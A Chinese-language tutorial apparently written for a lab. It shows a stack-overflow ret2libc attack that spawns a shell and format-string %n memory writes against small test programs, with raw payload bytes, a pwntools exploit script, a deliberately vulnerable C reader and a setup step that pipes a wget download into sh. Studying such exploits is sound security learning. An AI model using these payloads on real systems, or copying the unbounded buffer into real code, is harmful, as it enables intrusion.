棧溢出漏洞攻擊 分析

一、棧溢出下的攻擊(棧溢出+ret2libc,開啓DEP保護,關閉ASLR,32位系統)

思路:在函數返回時將返回地址控制到系統函數,例如system,然後找出“/bin/bash”的字符串地址。

前提:關閉地址隨機化(ASLR):echo "0" > /proc/sys/kernel/randomize_va_space

代碼:

讀取的攻擊代碼前116字節爲填充字符。

\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x6d\x00\x00\x00\x61\x61\x61\x61\xa0\x3d\xe4\xb7\xd0\x79\xe3\xb7\x8a\xf3\xff\xbf

構造攻擊內容:填充字符+system地址+exit地址+“/bin/bash”地址

system地址:0xb7e43da0

exit地址:0xb7e379d0

“/bin/bash”地址:0xbffff38a

所以總構造內容:xa0\x3d\xe4\xb7\xd0\x79\xe3\xb7\x8a\xf3\xff\xbf

結果如下:

可以看到我們在/bin/sh下運行的gdb程序,在gdb中運行該攻擊程序後,自動打開了/bin/bash終端,攻擊成功。

 

 

代碼附錄:

#include<stdio.h>

#include<stdlib.h>

#include<string.h>

FILE* g_fp;

 

void read_file(){

    char buf[100];

    int v,length=0;          

    g_fp=fopen("./buffer_overflow_code_injection_write_file.txt","r");

    if(g_fp==NULL)

    {

        printf("open file failed!\n");

        exit(1);

    }

    while (fscanf(g_fp, "\\x%02x", &v) == 1)

    {

        buf[length++] = v;

    }

    fclose(g_fp);

}

 

int main(int argc,char *argv[]){

    read_file();

    return 0;

}

 

 

二、格式化字符串漏洞:(關閉ASLR, 64位環境的32位程序)

環境配置:

1. 64位下的32位環境 -m32

sudo apt-get install gcc-multilib g++-multilib

2. peda插件安裝

git clone https://github.com/longld/peda.git ~/peda

echo "source ~/peda/peda.py" >> ~/.gdbinit

3. gef插件安裝

wget -q -O- https://github.com/hugsy/gef/raw/master/gef.sh | sh

wget -q -O ~/.gdbinit-gef.py https://github.com/hugsy/gef/raw/master/gef.py

echo source ~/.gdbinit-gef.py >> ~/.gdbinit

4. pwntools安裝

pip install pwntools

 

格式化字符串原理

printf(s);如果s的輸入是%08x.%08x.%08x

則從棧上依次取出3個數,造成內存的泄漏

printf函數入棧:

低地址:格式化字符串首地址   序號1

               參數1                             序號2

               參數2                             序號3

               參數3                             序號4

               ……

               ……

高地址:數組s的首地址            序號m(可以將此處看成printf參數m-1”)

 

我們通過調試找出序號n的數值,然後利用%n格式化字符串, 將已輸出的字符個數存入序號m所對應的內存數值(此數值一般會做成地址),所以,我們會在序號m處先放入我們想修改的地址(假設我們想修改的地址爲變量C的值)。

理論上,我們需要一個一個的彈棧,然後讓%n正好在序號m處,但是我們可以利用%n$x來指定序號m, 如果經過調試,我們發現m的值爲6,那麼我們用%6$x來表示指定爲printf函數後面參數的第6個參數,如果包含printf前面的格式化字符串的話,那麼也可以稱爲printf的第7個參數。

這樣我們構造一個payload = c的首地址(算4個字符) + 湊字符個數(假設爲n個) + %6$x

實例:payload = p32(c_addr) + '%011d' + '%6$n'

這個payload的意思的是11+4的這個數(15)寫入printf的參數6所對應的地址處,而這個地址由於是位於數組s[0](該處已被payload設置爲c的地址,4字節),即15將被寫入c地址,也就是變量c將被覆蓋爲數值15。

 

編譯:gcc -m32 str.c -o str -fno-stack-protector -g

從調試上,我們可以看到當輸入hello-world後,數組s的首地址是途中eax所指的地方,而esp所指的地方爲返回地址,esp+4爲格式化字符串首地址的參數入棧,esp+8爲參數1,那麼eax所在處即爲參數6

       我們構造的payload用python打入程序中如下(在終端輸入的時候\,x等也算一個單獨的字符, 所以我們需要想辦法將\x8c之類的作爲一個字符輸入進去):

from pwn import *

def forc():

    sh = process('./str')

    c_addr = int(sh.recvuntil('\n', drop=True), 16)

    print hex(c_addr)

    payload = p32(c_addr) + '%011d' + '%6$n' #修改c的值爲15(c地址爲4字節)

    print payload

    #gdb.attach(sh)

    sh.sendline(payload)

    print sh.recv()

    sh.interactive()

forc()

可以看到c的值打印出來是15了。

 

三、更改全局變量的值

如果我們要改成比地址字節更小的數,比如2,那麼我們可以將地址放在%k$n後面,結構如下:

低地址:格式化字符串地址

                     參數1

                     參數2

                     ……

                     s首地址(參數7,設置爲aa%8)

                     $8aa

                     存放&b(全局變量b的地址,可虛擬看成printf的參數9)

payload = 'aa%9$nbb' + p32(b_addr)  字符串不區分小端大端

可以看到變量b的值變爲了2,因爲%9$n前只有2個字符(aa),故數值2寫入printf的參數9位置(參數9位置存放的是全局變量b的地址)。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章